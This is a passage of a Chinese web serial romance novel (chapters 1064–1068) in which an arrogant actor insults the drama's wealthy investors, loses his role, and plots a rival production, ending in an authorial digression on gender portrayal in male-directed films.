见韩城这么不客气,成唯一噎干笑两声。 “城少,我就是听说您是《灵媒》的投资人,所以想给您推荐更适合的演员,温栩栩她……毕竟没热度没流量……” 韩城本来还有心思听他最里面憋出点什么难听话来,可听到成唯提及温栩栩,韩城皱眉打断。 “跟你有关系吗?” “她怎么样你管得着吗。” 韩城就是韩城,就是不给面儿。 成唯脸上的笑意更僵了,这是成唯怎么也想不到的回答,这群二代们都是这么个狗脾气吗? “城少……您可能不明白,我推荐的女主角是赵芳艺,赵芳艺您知道吗?” 韩城又搬出来之前对黎云笙那套说辞妄想来说通韩城,几乎是满怀希望等着韩城的回应。 “城少,赵芳艺在圈子里很有地位也很有人脉,粉丝更是数不胜数,只要换成赵芳艺我们都省了宣传的钱了,赵芳艺的粉丝会帮忙奔走宣传的!” “城少,您也是聪明人,您该知道选谁才是最正确的选择,选赵芳艺一定没有错的!” 成唯苦口婆心游说。 只是“聪明人”说的是韩城? 别人信不信黎云笙不知道,但黎云笙和盛景炎是绝对不信的。 韩城却接受了,甚至非常得意,真当对方夸奖自己一样挺直了腰杆儿嗯了一声。 “我知道我聪明,所以我选温栩栩。”韩城支棱着回应。 成唯说半天最后就听到韩城来了这么一句,什么意思啊! 说半天了就着反应!过分了吧! “城少,我想您没理解我的意思……”成唯觉得还能再抢救一下。 “我理解你的意思,你是想说温栩栩不是流量,不如你推荐的那什么芳芳合适。” 成唯听到“芳芳”两个字唇角抽了下回应:“城少,是赵芳艺,不是芳芳……” “行,赵芳艺!我听说过她,娱乐圈里最爱营销美貌,结果整张脸跟硅胶面具似的,笑起来连苹果肌都不会动!她那张脸整得跟流水线产品一样,当然我没说不能整脸,但是她美商实在不好,整出来的感觉也不行,还天天往大美女人设里硬塞,土得掉渣还自命天仙!” 韩城嗤笑出声,指尖在虚空中点戳,“你跟我说她‘火’?她那点虚火值几个钱?粉丝数据注水注得连水表都要爆炸了吧!还省宣传费?我缺你那几千万宣传费?你当我韩城的钱是大风刮来的?” 成唯的嘴角抽动得更厉害了。 他当然知道这位少爷不缺钱,韩氏集团的二少爷,资产能买下半个娱乐圈,投资这部剧本就是一场“任性游戏”。 旁人眼中的天文数字,对韩城来说不过是零花钱。 成唯唇角抽动。 对,是他不懂这群富二代了,这群人有钱,也根本瞧不上那点宣传费,旁人觉得几千万几亿是大钱,可这几位少爷可不缺钱。 成唯心里还在思索要怎么游说这位少爷,结果又听到韩城声音里面明显带着怒意的质问。 但成唯仍想挣扎:“城少,从商业角度考虑,赵芳艺的流量确实能带动……” “闭嘴。”韩城突然嘲讽“你是让我换掉我兄弟?” “我就是为了她才投资的戏,你让我换掉她?” “温栩栩凭什么被你们这群势利眼欺负?她没流量?可她有演技有灵气,那双眼睛演起戏来比赵芳艺那张假脸有灵魂百倍!我就是为了她才投的这部剧,你现在让我换人?做梦!” “我就乐意让她拍戏你管得着吗!她就算真的这部剧扑街了那也就当我撒钱玩了,你管得着吗,我的钱我爱怎么花怎么花!” “你们以为她好欺负?她是我韩城的兄弟!我就是要护着她,现在你们想拿资本压她?我告诉你们,只要有我韩城在,谁也别想动她一根头发!”韩城语气里面都是明显的怒意。 比起那些,韩城更气愤的是温栩栩被欺负了。 成唯此刻实在是不知道自己该说什么能说什么了,这位少爷的脑袋到底是怎么想的? 就为了温栩栩? 成唯还是不敢置信,他性子犟,换做其他人可能到现在就不会再继续了,会向温栩栩低头道歉,然后保住自己的角色。 但成唯就是魔怔了,就是觉得要换掉温栩栩,他就是觉得温栩栩处处压自己一头。 跟赵芳艺一起他们好歹旗鼓相当,可跟温栩栩一起他好像完全没了光芒,所以他必须要换掉温栩栩,他可不想等剧播出后自己被批判演技不行,真到那时候还不知道对家要怎么对付他呢! 他拍秦扬帆的戏是为了升咖的!可不是为了降咖的!所以一定要换掉温栩栩! 韩城是靠不住了。 可投资人不是有三个吗? 没了黎云笙和韩城不是还有一个盛景炎吗!那位盛少总不会维护温栩栩了吧!如果三个人都维护温栩栩,那温栩栩岂不是妲己转世的纯种狐狸精了。 成唯突然攥住这最后一根稻草,眼底迸出希冀的光。 第1064章 那是盛少! 三个投资人中,黎云笙向来神秘难测,韩城又成了温栩栩的“护盾”,那位盛少总不会也被迷惑吧? 盛景炎以精明著称,或许会权衡利弊…… 成唯匆忙掏出手机,指尖在屏幕上疾点,却发现自己连盛景炎的联系方式都没有。冷汗霎时浸透后背,他这才惊觉,自己竟从未真正与这位投资人接触过。 空调的冷风呼呼吹过,他却觉得浑身燥热如焚。 温栩栩究竟凭什么? 难道真是妲己转世的狐狸精,能魅惑三位权贵为她撑腰? 成唯的嫉妒如毒藤般缠上心口,她凭什么能在落魄后仍有贵人相助? 他死死咬住下唇,血腥味在口腔漫开,却仍无法平息那股灼心的不甘。 “不行……必须想办法!”他强迫自己镇定,在脑中疯狂梳理人脉。 盛景炎的助理、共同合作的制片人…… 任何可能搭上线的渠道都被他翻出来,如同溺水者抓住漂浮的稻草。 可越是急切,思绪越是混乱,他竟连最基本的联系人信息都记不清。 过了许久成唯深呼吸缓了缓,开口:“请问盛少会来吗。” 成唯的提问在包厢里荡开,许愿的睫毛轻轻颤了颤,指尖无意识摩挲着瓷碗边缘。 许愿微微挑了下眉,目光悠悠的落到吃瓜看戏的盛景炎身上,盛景炎还是那副姿态闲散的模样。 盛景炎正慢条斯理地剥着一只红壳虾,骨节分明的手指在虾壳间灵活游移,仿佛不是在处理海鲜,而是在雕琢一件艺术品。 晶莹的虾肉最终落在她碟中,他抽了张湿纸巾擦拭指尖,动作闲散却透着矜贵,仿佛连擦手都成了优雅仪式。 “你不说话?”许愿的声音裹着一层薄纱般的笑意,眼尾微微上挑。 盛景炎将一块雕花点心夹入她碗中,琥珀色的眸子漾着暖光:“这家店的老掌柜手艺独到,酥皮入口即化,值得一试。”他说话时,虾壳在他掌心堆成小巧的塔,许愿碟中的美食却越垒越高,真是时时刻刻都没有忘记投喂许愿。 盛景炎抽出湿纸巾擦拭了下手,笑着回应她,“你也想看热闹?” 许愿轻笑:“不可以吗。” 盛景炎为她夹了块点心。 “没什么不可以的,这是这家店的招牌,味道还不错,可以尝尝。”到这时候了还不忘记给许愿推荐点心。 薛酒在旁边酸得牙都快倒了。 他盯着盛景炎那笑得人畜无害的脸,恨不能冲过去把碟子里的虾全抢过来,可盛景炎抬眼扫来时,那笑意里藏着锋刃,薛酒顿时像被霜打的茄子,蔫了。 他暗骂自己没出息,明明许愿是当姐姐看的,可一想到这笑面狐狸要“勾搭”自家姐姐,心里就跟塞了团棉花,又胀又堵。 别扭得要命,却又不敢真闹起来。 薛酒酸唧唧的在旁边盯着,但是也没阻止。 他酸就是纯粹把许愿当姐姐,结果这小子勾搭姐姐,带入一下就能完全共情了,这样的话……盛景炎可真是太讨厌了。 薛酒甚至还跃跃欲试想去抢许愿盘子里面盛景炎剥好的虾,结果一对上盛景炎那笑吟吟的目光顿时就没有抢东西的欲望了。 抢什么抢,看到盛景炎那张脸自己都快饱了。 “尝尝这个。”盛景炎忽然转向薛酒,将一盅清甜的莲子羹推到他面前。 薛酒瞪着眼,满脸写着“你休想收买我”,但勺子还是不受控地戳进了碗里。 许愿忍笑抿了口茶,雾气氤氲间,她眼波流转的都带上了几分柔意。 盛景炎总能在恰当的时机递来纸巾,连她嘴角沾的茶渍都擦得轻柔,仿佛那动作能捻出火花。 薛酒更酸了。 他狠狠嚼着莲子,碎碎念着“盛景炎太阴险”,却又不得不承认,这男人剥虾的手艺确实一流,哼,还不知道给多少女人剥过虾呢。 他别扭地扭过头,假装看窗外风景,耳朵却支棱着听两人对话。 包厢内知道盛景炎身份的人都在看着他,其实经纪人也是因为灯光昏暗加上盛景炎跟薛酒和许愿一起进来的,所以认为他是新艺人了,没往其他地方想的,现在见众人目光都放到他身上,心里莫名的有种不详的预感,就是一种感觉快要完蛋的预感。 和刚才自家艺人抽风的时候针对韩城的感觉一模一样。 应该……应该不会有这么倒霉的吧…… 经纪人脸上已经完全笑不出来了,因为他感觉好像真的快要完蛋了。 经纪人欲哭无泪,哭丧着一张脸,他那个没脑子的艺人成唯还在这里嚷嚷“你们是不是排挤盛少!如果盛少在的话盛少一定不同意让温栩栩担任女主角!我要去找盛少!” 这次就连韩城都明白过来之前为什么那么多人看自己的眼神那么奇怪了,原来全因成唯搞这茬。 嚷嚷着要找他结果认不出他。 韩城倒了杯茶哼笑:“去去去,去找,跟有病一样。” 成唯现在其实属于是破罐子破摔了,反正自己在韩城这边也没什么好印象了,干脆就摆烂了,爱咋咋地的感觉。 包厢内还是没有人说话,就是等着看成唯的笑话。 他还是车轱辘一样重复那几句话,盛景炎还在笑眯眯的给许愿夹菜,成唯嚷了要有十分钟了,盛景炎才终于抬眸,露出那张桀骜英气的面容,目光锐利的落到成唯的脸上,带着几分明显的打量和审视,然后倏而的又扯了扯唇角像是笑了。 “温栩栩不是很好吗,我没有换女主角的打算,如果一定要换个主角,那换掉你就不错。”盛景炎笑着给了成唯一个晴天霹雳。 成唯身体僵硬的站在原地,整个人不受控制的将目光落到他脸上,然后吞咽了下口水。 经历过韩城那档子事儿,成唯已经不觉得盛景炎开口后还是个可以随便对付的小艺人了。 经纪人也顺着成唯的目光重新朝着盛景炎看过去,然后猛地倒抽了口凉气。 想起来了,真是全都想起来了! 这……这人是盛景炎啊! 就是那个整天挂在花边新闻和绯闻上的盛景炎啊!怎么之前就没认出来呢! 经纪人几乎是要急的拍自己大腿了。 他扯着成唯的手臂几乎是想要嘶吼,但又觉得分外丢脸所以压低声音在成唯耳边道:“盛少!那是盛少!” 第1065章 给她提鞋都不配 成唯觉得自己今天收到的惊吓可真是太多了,从黎云笙到韩城,再到现在的盛景炎,他现在都要怀疑温栩栩也有另外的身份了! 成唯此刻笑都要笑不出来,连那种僵硬到极点的笑都好像扯不出来了。 因为比起韩城,他对盛景炎要更加不敬,什么骚狐狸臭狐狸的各种骂人的词儿那可是层出不穷! 这是彻底得罪了,本来以为是要出道的艺人,现在才知道是投资人! 疯了! 到底谁家投资人长得比艺人还艺人的! 成唯目光呆滞的看着盛景炎,似乎此刻根本不知道自己能给什么反应,盛景炎脸上还带着清浅的笑意看着他,看似是在笑,可成唯分明能感觉出盛景炎那笑中凉薄的冷意。 上流圈层和普通人是有壁的。 他们可以向下兼容对你表现出友好温柔的一面,但若他们不想,你就能明显感觉到对方跟你之间的距离感。 就像现在,成唯明显感觉的到盛景炎在笑,可那种疏离感是让他感觉身体都会止不住发抖的感觉。 他内心的慌意愈发多了。 “盛……盛少……” 这次倒是恭敬了许多。 盛景炎抬眸,撩起眼皮懒懒散散的瞥他一眼,声音里面裹挟着笑意:“怎么?不是狐狸了?” 听着像调侃,但成唯就是知道盛景炎这话中带着的明显凉意。 成唯只觉得喉咙被无形的手攥住,呼吸都成了奢侈。 他望着盛景炎那张比艺人还要精致的脸,恍惚间仿佛看见面具裂开缝隙。 方才对着许愿时温润如玉的眉眼,此刻竟淬上一层寒霜。 盛景炎的手指仍慢悠悠地剥着虾壳,骨节在灯光下泛着冷玉般的光泽,可那漫不经心的姿态里,分明藏着令人心悸的凉意。 “盛……盛少……”成唯的舌尖在齿间打转,吐出的话语带着颤音。 他试图扯出一个笑容,可面部肌肉却像被冻住的蜡,僵硬得连嘴角都难以扬起。 韩城的暴怒已是惊雷,而眼前这人却似深潭,表面涟漪轻荡,底下暗流汹涌。 那些骂过“骚狐狸”“臭狐狸”的粗鄙词句此刻如毒针扎进肺腑,他几乎能听见自己心脏在胸腔里疯狂擂鼓,一下比一下急促。 盛景炎掀起眼皮,睫羽投下的阴影在成唯脸上游移。 那目光让成唯内心的凉意从脊骨窜到发梢。 上流圈层的壁垒在此刻如铜墙铁壁般竖起。 方才盛景炎为许愿夹菜时,指尖还带着暖意,笑语如春风拂面,此刻转向他,却连空气都骤然降温。 成唯分明看见对方瞳孔里自己的倒影,渺小、瑟缩,像只被摁在玻璃罩下的蝼蚁。 他想起那些骂声,想起自己将投资人误认为靠脸吃饭的“玩物”,喉头哽住的羞愧与恐惧几乎让他窒息。 包厢的空调不知何时调低了温度,成唯却觉得冷意是从盛景炎周身散出的。 那人懒散地倚在椅背,金丝眼镜滑至鼻梁,折射出碎光,却照不进眼底的深渊。 他剥虾的动作未停,晶莹的虾肉堆成小山,可成唯看着那熟练的手法,却觉如观刑具,每一片剥落的虾壳,都似剥去他一层脸皮。 “盛少,我……我错了。”成唯终于挤出这句话,膝盖发软得几乎要跪坐下去。 他余光瞥见薛酒投来的复杂目光,许愿却仍悠然品茶,仿佛这场戏跟她完全无关,事实上也确实是跟她无关。 盛景炎轻笑出声,尾音拖得悠长,像是嗤笑,又像是讽叹。 他慢条斯理地擦拭手指,湿纸巾与指尖的摩擦声在寂静中格外刺耳。 “错了?”他脸上的笑意终于彻底褪去,取而代之的是带着凉意的漠然。 “成唯,你这种人我在圈内见过很多,无非是捧高踩低,如果今天我不是盛景炎,真的只是被阿笙或者韩城带进圈子的新人,你肯对我说一句错了?” “你不会说,你甚至会拿出你在圈内前辈的气场逼我低头,对吗。”盛景炎此刻的话令成唯瞳孔剧烈收缩。 他看见盛景炎眼底的凉薄,看见那层笑面伪装下真实的自己。 在上流圈层眼中,他不过是可随意处置的蝼蚁。 那些曾经以为的“得势”“优越”,在此刻被碾成尘埃。 冷汗已浸透衬衫,他感觉喉咙被扼住,连呼吸都变得破碎。 可盛景炎说的也确实没错,但凡盛景炎不是盛景炎而是李景炎,赵景炎,他都不会低头,说错了?道歉?那绝对不可能,他只会用自己的权利地位把新进圈的演员小艺人踩在脚下,最好是把人踩到无法出头,省的进入娱乐圈抢走本该属于自己的部分蛋糕。 “娱乐圈的规矩……不是谁嗓门大,谁就能定论。”盛景炎拽起他的衣领,的声音低得像耳语,每个字却如冰锥扎入成唯耳膜,“你方才说温小姐不配,可在我眼里,你连给她提鞋都不配。” 几句话却让成唯浑身血液凝固。包厢的灯光在此刻变得刺目,成唯的影子被压在地面,扭曲如求饶的鬼魅。 成唯终于明白,自己错得有多离谱。 他以为的“靠山”不过是海市蜃楼,盛景炎这样的人,根本不屑与他计较,直到他踩到了对方的底线。 恐惧如潮水淹没了他,他张嘴想求饶,却发现喉间只能发出破碎的气音。 盛景炎松手退开,衣角掠过成唯时,带起一阵冷冽的风。 “不过……”盛景炎忽然又轻笑,重新拾起剥虾的闲散姿态,“好戏还没落幕,总得让所有角色都演完,不是吗?” 他夹起一块点心放入许愿碗中,语气骤然回暖,仿佛刚才的冷冽不过是幻觉。 成唯愣在原地,心跳在极冷极热间几乎撕裂。 他知道自己完了。 盛景炎不会当场撕碎他,但那种疏离的漠视,比直接打压更让他绝望。 或者说……盛景炎这样的无视和不在意是对他的一种侮辱。 成唯僵立在原地,仿佛一尊被抽走灵魂的蜡像。 他的西装褶皱如揉皱的纸,领带歪斜着,整个人像是被台风席卷过的稻草人,只剩躯壳在原地摇晃。 第1066章 把这群人惹了个遍! 经纪人盯着他这副模样,喉头哽住一声叹息,手指无意识抠着掌心。 他知道成唯整日里自命不凡,在圈子里不是没跟一些有背景的少爷闹过矛盾,最后都是他帮忙化解了那些矛盾,可哪里想得到成唯现在还能继续发疯的。 这次更是厉害,一出面惹了四位大佬。 秦扬帆是圈内有名的导演这不必说,黎云笙是黎家继承人,盛景炎是盛家少爷,韩城是韩家二少爷,哪个不是大家族出身的? 结果呢? 成唯把这群人惹了个遍! 要换掉黎云笙选的女主角,辱骂盛景炎是骚狐狸,嘲讽韩城是狗……桩桩件件都是自掘坟墓的行径。 经纪人额角的冷汗顺着皱纹滑下,他几乎能预见明日头条的标题。 “新晋艺人成唯狂悖无礼,惹怒四大资本,前途堪忧”。 不能干的事情成唯一个人干了个遍。 而此刻,盛景炎仍闲散地剥着虾,笑意像糖霜般裹在唇角,眼底却凝着寒潭。 那一盘虾都已经要被盛景炎剥完了,甚至开始取蟹肉了! 他偶尔撩起眼皮扫向成唯,那目光平静并不带几分深意,却仍然让成唯便浑身一震。 经纪人偏头对上那双含笑的眼睛,顿时如坠冰窖。 盛景炎分明在笑,可瞳孔深处却似结了一层寒霜,冷得能冻住呼吸。 他忽然想起上流圈层的传闻,这位盛家少爷最是喜怒难测,表面温润如春风,实则心冷似玄铁,得罪他的人,往往连怎么死的都不知道。 成唯的恐慌在胸腔里炸开。 他想逃,想拔腿冲出这包厢,可双腿却像灌了铅,动弹不得。 那些骂出口的浑话此刻如毒蛇缠身,他想起自己嘲讽韩城是“狗”,辱骂盛景炎是“骚狐狸”,而此刻,这两个字眼在他脑中炸响,炸得他耳膜生疼。 被封杀的阴影如黑雾笼罩,他仿佛看见自己从云端跌入泥潭,从此再无人问津,广告商避如瘟疫,片约化为泡影……娱乐圈的门,将彻底对他关闭。 经纪人捂住脸的刹那,想起成唯刚出道时的意气风发,想起自己熬夜为他修改台词、联络资源的日夜。 可如今,这一切的努力都像是沙堡,被成唯的疯狂冲得溃散。 封杀令一旦下达,成唯不仅会失去角色,甚至可能被整个行业拉黑,代言撤资、通告取消、社交媒体封号…… 他将成为娱乐圈的“死人”,连挣扎的余地都没有。 经纪人的掌心沁出冷汗,包厢的空调温度不知何时降得更低,成唯内心的寒意此刻仿佛从脚底漫上来。 薛酒在旁边偷瞄,眼神里既有幸灾乐祸,又藏着对成唯的怜悯。 成唯盯着盛景炎金丝眼镜后的眼眸,那笑意越温柔,眼底的冷意越刺骨。 他忽然明白,自己错的不仅是莽撞,更是将资本的尊严踩在脚下,在上流圈层,这样的冒犯,足以让他万劫不复。 “盛少,我真的知道错了……”成唯终于挤出这句话,声音细如蚊蝇。 他的膝盖发软,几乎要跪倒在地。 盛景炎却连眼皮都未抬,只将剥好的虾递向许愿,动作温柔得仿佛刚才的剑拔弩张从未存在。 经纪人死死咬住下唇,血腥味在口腔漫开。 他知道,娱乐圈的生存法则在此刻显露残酷:得罪权贵,便是自断生路。 成唯的瞳孔在盛景炎的笑脸中收缩,冷汗浸透衬衫,黏在背上如无数虫蚁啃噬,他感觉自己的职业生涯在此刻画上句号,而盛景炎眼底的凉薄,正是那划下句点的冰笔。 成唯被晾在一旁,像个木头站在原地。 经纪人已经彻底傻了。 经纪人哀叹的叹息声在包厢里荡开,他几乎要捂住脸,仿佛这样就能遮住成唯捅出的娄子。 可一偏头,盛景炎那双含笑的眼睛便如寒潭般撞入眼帘,金丝眼镜后的笑意温柔得能滴出水,眼底却结着霜,冷得让他脊骨发颤。甚至内心都跟着打了个激灵,经纪人不受控制地后退几步,鞋底地毯上刮出细微的摩擦声,仿佛这样就能逃离那目光里的凉意。 他的脸上仍僵着尴尬的笑,嘴角却已快撑到抽筋。 “盛少,成唯他一直都脑子不好使,所以才会口不择言说那些乱七八糟的,您别往心里去,千万别跟他计较,我这就带他离开,不打扰各位聚餐了。” 经纪人这就要开溜了,拽着身体僵硬的成唯想走。 成唯脚就跟黏在地板一样根本不能挪动步伐,目光却不受控制的落到温栩栩身上,温栩栩在吃东西。 他记得那道菜,很多剧组杀青宴的时候都会上这样一份甜品,蓝莓山药泥,酸甜口的,很多人都喜欢。 可他从来都不肯碰,认为喜欢吃这个的人太多了,自己需要与众不同一些才可以。 他觉得廉价的东西,温栩栩却吃的津津有味。 而温栩栩几乎可以说是被内定的未来顶流了。 这么多人捧,怎么可能不红。 就算真的运气差不红,这些人肯喂资源那未来的发展也差不了的。 可都已经做了那么多丑事了,成唯觉得自己真的没办法跟温栩栩合作了,因为只要看到温栩栩就想到今天的丑闻。 所以成唯现在只想赶紧离开,省的在这里出丑。 但是……《灵媒》这部剧他是真的很想出演,只看制作班底就知道这部剧是一定会火的,绝对是大爆剧。 所以哪怕觉得自己已经丢脸不可能继续拍这部戏的成唯都还是忍不住再度问了一句。 “秦导……”成唯的声音像从砂纸里挤出的嘶哑,他强迫自己将目光从温栩栩身上撕扯下来,转向秦扬帆,“我还能继续出演《灵媒》的男主角吗?” 这句话出口时,他几乎能听见自己心跳在胸腔炸开的轰鸣。 经纪人拽他的力道更狠了,仿佛要将他整个人拖出包厢,可成唯的膝盖却像生了根,钉在原地不肯挪动半步。 包厢的空气在此刻凝成冰碴,每一道目光都像利刃剐过成唯的脸。 他感觉自己的自尊被踩在地上摩擦,却又像溺水者抓住浮木般不肯松手。 温栩栩舀第三勺蓝莓山药泥的动作顿了顿,瓷勺在碟边磕出清脆的响,那声响在成唯耳中,仿佛都成了对他尊严的嘲弄。 第1067章 卧龙凤雏 他想起自己曾指着她说“不配”,此刻却卑躬屈膝求一个被她“踩在脚下”的机会。 内心的耻辱与不甘如火山在血脉里奔涌,他却只能死死咬住嘴唇,将情绪压成碎片。 可他问这样的问题秦扬帆都愣住了,实在是不明白这人怎么能思维跳脱成这样的? 都把这部剧的投资人全都得罪了个遍,在她这里先前也是因为自己是流量所以嚣张到不行,现在反倒是又开始问上能不能出演这个角色了。 这用问? 你自己看看这还能用你吗? 你当人家投资人都是纸糊的了?你说什么是什么了? 秦扬帆捏了捏眉心,似乎是此刻因为成唯这句话而头疼。 “你自己觉得呢?你觉得还用问?”秦扬帆这句话就已经是给了成唯答案了。 大概是因为经历了太多刺激事儿,所以现在成唯有点呆呆的,愣了一下开口道:“我觉得我还可以,因为我挺适合的,我流量在这里,形象也很适合。” “《灵媒》的男主角……”成唯的舌尖在齿间打转,每个字仿佛都带着挣扎的血腥味儿了,他刚才心情太激动不小心把嘴唇咬破了,此刻继续开口,“我会演好的,一定会让这部剧大火,求您再给我一次机会。” 他的声音终于带上了颤音,像是求饶,又像是最后的挣扎。 经纪人捂住脸的指缝间,漏出绝望的目光,他几乎已经猜到成唯会被换掉的结局了,但成唯现在就是不想走,就是一定要听到导演说出拒绝的话来,她也是实在没有办法了。 这下秦扬帆都快要被成唯气笑了。 这是真脑子有问题了。 “成唯,已经有更适合你的人出演这部剧的男主角了,你可以跟你的经纪人离开了。” 秦扬帆现在是真一点也不想看到他了。 成唯心里的酸楚感都要漫出来了,他喉间有点发堵,但又不能说什么,只能干笑了一声,跟着经纪人赶紧离开了。 这次可算知道自己是在犯蠢了。 薛酒还在原地,“哈”了一声:“这人的脑子到底是怎么在娱乐圈混到现在的?” 秦扬帆开口回应:“成唯在圈子里……有不少富婆粉丝,都挺有钱的。” 哦,那懂了。 薛酒嗤了一声,心道就这还叨叨温栩栩呢?自己都什么样了还叨叨。 …… 成唯逃出包厢时,脸颊烧得仿佛烙铁,每一步都像踩在火炭上。 他疾步如飞,鞋跟敲击大理石地面的声响急促如鼓点,经纪人追在他身后,呼喊声被抛在风里:“你慢点!慢点!你走这么快干什么!” 成唯头也不回,只觉得包厢里那些含着笑意的目光仍在刺着他的脊梁骨,每道视线都是淬毒的针,扎的自己脊背疼的厉害。 “我不走快点我还继续留在这里?我脸都要丢尽了,房间里所有人都在看我的笑话,我感觉自己就是个小丑……不!猴子!我在包厢里面演猴戏给人看!” 他气急败坏地嘶吼。 经纪人简直想拍大腿,这话要是被盛景炎他们听见,成唯的演艺生涯怕是真要彻底封棺了。 可此刻成唯哪还顾得了那么多,他只觉得胸腔里憋着团火,烧得五脏六腑都蜷缩起来。 “今天的事情你太冲动了,好歹也需要想想清楚啊,怎么就这么冲上去得罪那么老些人,你看看你得罪的那些,有一个是好糊弄的吗?”经纪人叹着气。 成唯冷着脸,嘴角扯出个嘲讽的弧度:“有,韩城。” 这话一出口,经纪人喉头一噎,差点被自己的口水呛到。 这种时候提韩城?那可是出了名的“好糊弄”? 但成唯显然已钻进了牛角尖,认定自己错的只是“没分清对象”,若对手只是韩城,他自信能三言两语哄得对方转怒为喜。 “你别提他,你就说盛景炎他就不可能再用你了,算了算了,这部剧我们不拍了,我们换个别的剧来拍。” 经纪人摆手,试图将话题拽回正轨,“你要实在喜欢这部剧,我们就专门立项联系编剧写一个这样类似的剧本,再找赵芳艺演女主角,你觉得呢?” 成唯的脚步终于慢了下来,眼底闪过算计的光。 赵芳艺是圈里资源咖,搭上她或许能撬动更多资本。 他点头,唇角抿出锋利的线条:“那就尽快吧,也要《灵媒》这种题材的,我算是看出来了,这部剧的题材能过审是因为这背后得资本。咱们赶紧搞这类尽快审核,最好是在他们的剧上映之前咱们的就先上映,这样到时候就是一群人说他们学咱们跟风了!” 经纪人听着这计划,心头先是一惊,继而觉得荒唐,可成唯现在这么冲动,让他不敢反驳。这计划若真成了,或许真能扭转舆论风向? 但……抢在《灵媒》前上映?哪有那么容易?立项、编剧、拍摄、审核,哪一步不需要烧钱烧人脉? 成唯却已沉浸在自己的复仇幻想里,仿佛看见《灵媒》被骂抄袭的场面,嘴角的笑愈发狠戾。 “对,咱们就搞这类题材!他们不是有温栩栩吗?咱们就找赵芳艺压她!到时候全网都会说温栩栩资源咖上位,没演技还硬捧,咱们的剧一播出,观众自然知道谁才是真本事!”成唯咬牙,恨意从齿缝里挤出来。 经纪人默然只能应承下来,心底暗自盘算,或许真能搏一把?若操作得当,成唯的流量加上赵芳艺的资本,未必不能与《灵媒》掰手腕。 成唯眼底的狠戾愈发浓重,他恨温栩栩凭什么能得盛景炎、黎云笙的力捧,恨自己低头道歉却仍被弃如敝履。 “我还是恨,温栩栩凭什么能够出演这个角色,我后来都已经低头了,凭什么还打算换掉我,没了我,他们还想着让谁来捧温栩栩?温栩栩这样一个新人,谁能轻易捧的起来?没有我这样的流量就别想捧她!不会有好结局的!”他的眼神像毒蛇吐信,毒液在瞳孔里翻涌。 经纪人听着,心头越发凉。 成唯这是要撕破脸与资本硬杠了。 这俩人看着因为得罪了黎云笙盛景炎这群人而小心翼翼,可这两人却还想着提前拍了这类题材剧去针对《灵媒》只能说是卧龙凤雏了。 第1068章 成也流量败也流量 成唯眼底的恨意到此刻才敢完全显露出来。 经纪人看着他这副模样欲言又止,缓了片刻才开口劝了句:“那你打算怎么办?这几位可都是上流圈层有名的少爷,你得罪不起。” “你真的不考虑一下了?真打算跟他们对着干了?” 成唯咬牙:“哪里是我跟他们对着干,分明是他们跟我对着干!” “今天那么多来参加试镜的演员,只有我是当红流量,戏都还没拍,我的粉丝已经放出了热度,《灵媒》这部戏都还没有正式开始拍就已经爆火了难道没有我的原因?” “利用我炒作,现在又不用我把我踢出剧组,哪有这么便宜的事情!” “他们想利用我炒作,利用我的粉丝达成目的,那就要学会接受反噬!” 有一句话怎么说的,成也流量败也流量。 经纪人看他此刻这副癫狂姿态颇有些一言难尽。 其实经纪人心里也清楚,成唯说的这些话有些过于离谱了。 因为《灵媒》剧组根本就没有给成唯发试镜的邀约,是他们自己去的,至于宣传,剧组这边更是没有进行宣传成唯相关的话题,都是成唯的粉丝自发性的将成唯和秦扬帆捆绑到一起。 其实说真的,秦扬帆是大导演,导过大热电影业拍过很多大热剧,可以说能把电视剧拍出唯美电影镜头感觉的一位女性导演,她在导演圈层是很火的,当年秦扬帆冒头的时候还曾经被那些男导演围剿过,后来是秦扬帆自己建立了工作室,然后跟人结盟才稳固了自己在圈内的地位。 当然现在她跟某些大导还是不对付,因为那些大导在最初公开嘲讽过秦扬帆的镜头语言空洞,空有美感毫无灵魂,甚至联系了不少导演一起围剿秦扬帆。 因为在这些人眼里,资本圈是不能够让女性进入的。 其实娱乐圈层影视圈层是最容易进行文化输出以及三观输出的一个“平台”,可以说是平台,或者说一个转化器。 他们会为你输出一段资料,你最终接收到的也很容易改变你的三观,潜移默化的改变。 就像这些男性导演的电影镜头中,其实很多电影中一定会有女性角色裸露或者暴露的镜头,或者会有很对关于女性角色的黄色笑话,亦或者是传输一些女性只能早早嫁人,要善解人意做一个贤妻良母,你在职场上爬的再高也不会有人爱你,男人才是你最终的归宿。 或者他们会描述父爱的伟大,会用极其细腻的镜头语言去描述,让很多人知晓男性的不易。 然后很多男性就会认为,女性的身体就是为了取悦男性的,他们调侃女性的身体女性的敏感女性孕期的多疑,他们不在意女性因为雌性激素在孕期的暴增而痛苦,他们不能感同身受,他们只会轻描淡写的描述孕期的女性是“无理取闹”。 是的。 一句无理取闹就可以总结孕期的女性。 这就是有些男性电影中女性的角色,是毫无用处的花瓶,是用来引男性驻足观看的性感身体,是空有美貌只能拖后腿的废物。 他们就是要用这样的电影告诉大众女性是什么样的男性是什么样的,他们不在意女性看了会不会生理不适,因为他们的电影拍出来就是为了影响女性,甚至让某些男性认同他们的观点,继而接受一点点变成另一种人。 但如果是女性导演进入到这个圈层就不一样了。 她输出的会是维护女性的题材和一些观念。 男性电影镜头中的女性他们只会拍年轻女性的肉体,年长女性的无畏付出,然后不停的给人洗脑,女性结婚后成为妈妈就是要这样做,去影响左右你的思想。 就好比你一定要结婚,结婚后你一定要生小孩。 可生小孩就要远离职场,远离职场你就会完全失去自我,然后被迫成为家庭主妇,你会没有收入,你的那点“收入”只能靠男性伴侣的自觉来给你打钱,你没有了消费自由,你花费的每一笔都会被你的伴侣记在心里。 他给你三千块,那你一个月就要攒下三千块,好像不需要柴米油盐不需要电费水费不需要孩子的学杂费奶粉钱。 你剩不下钱那你就成了败家,婚前我养你变成了婚后“我养的你”。 可你结婚后不生孩子,他们会说你这样不是完整的女人,好像已经完全为你的子宫做好了打算。 生了孩子重返职场,你会被区别对待,大部分时间会失去晋升能力,因为有很多人会认为你是女人,你结了婚就是要照顾家庭,你有了孩子你迟早要回归家庭,你不回归家庭那你不是一位好妻子不是一位好母亲。 他们默认男性不会去照顾家庭,他们默认家中的一切家务一切有关孩子的教育问题都变成了女性的工作。 他们对女性的要求是,你要为她们生儿育女还要成为保姆的同时在外工作赚钱一起养家。 这是一种很悲惨的事实,他们就是要隐瞒这种事实,然后让她们被困在婚姻中无法挣扎逃脱,没有工作就是不能立足,没有工资就是要被这些人瞧不起的。 男性导演会忽略这个问题。 因为他们是既得利益者,他们只会优待男性,他们不会发自内心的优待女性。 但女性导演不同,她们会通过电影镜头来描述那些很多人难以掩藏的细节。 